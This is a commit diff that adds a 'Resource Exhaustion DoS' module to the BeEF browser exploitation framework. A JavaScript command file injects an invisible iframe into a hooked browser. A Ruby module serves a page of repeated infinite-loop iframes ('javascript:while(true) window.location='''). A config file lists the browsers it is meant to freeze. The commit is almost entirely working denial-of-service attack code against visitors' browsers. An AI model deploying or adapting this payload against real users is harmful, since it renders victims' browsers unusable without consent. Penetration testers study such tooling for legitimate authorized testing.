Add Resource Exhaustion DoS module
This commit is contained in:
13
modules/exploits/resource_exhaustion_dos/command.js
Normal file
13
modules/exploits/resource_exhaustion_dos/command.js
Normal file
@@ -0,0 +1,13 @@
|
||||
//
|
||||
// Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
var resource_exhaustion_dos_<%= @command_id %> = beef.dom.createInvisibleIframe();
|
||||
var url = beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/dos';
|
||||
resource_exhaustion_dos_<%= @command_id %>.setAttribute('src', url);
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, "result=DoS request sent");
|
||||
});
|
||||
|
||||
16
modules/exploits/resource_exhaustion_dos/config.yaml
Normal file
16
modules/exploits/resource_exhaustion_dos/config.yaml
Normal file
@@ -0,0 +1,16 @@
|
||||
#
|
||||
# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
resource_exhaustion_dos:
|
||||
enable: true
|
||||
category: "Exploits"
|
||||
name: "Resource Exhaustion DoS"
|
||||
description: "This module attempts to exhaust system resources rendering the browser unusable."
|
||||
authors: ["bcoles"]
|
||||
target:
|
||||
working: ["FF", "IE", "S"]
|
||||
not_working: ["C"]
|
||||
23
modules/exploits/resource_exhaustion_dos/module.rb
Normal file
23
modules/exploits/resource_exhaustion_dos/module.rb
Normal file
@@ -0,0 +1,23 @@
|
||||
#
|
||||
# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Resource_exhaustion_dos < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
return []
|
||||
end
|
||||
def pre_send
|
||||
src = %q{<iframe src="javascript:while(true) window.location='';">}
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw(
|
||||
'200',
|
||||
{'Content-Type' => 'text/html'},
|
||||
src * (rand(10) + 10),
|
||||
'/dos',
|
||||
-1)
|
||||
end
|
||||
def post_execute
|
||||
save({'result' => @datastore['result']})
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user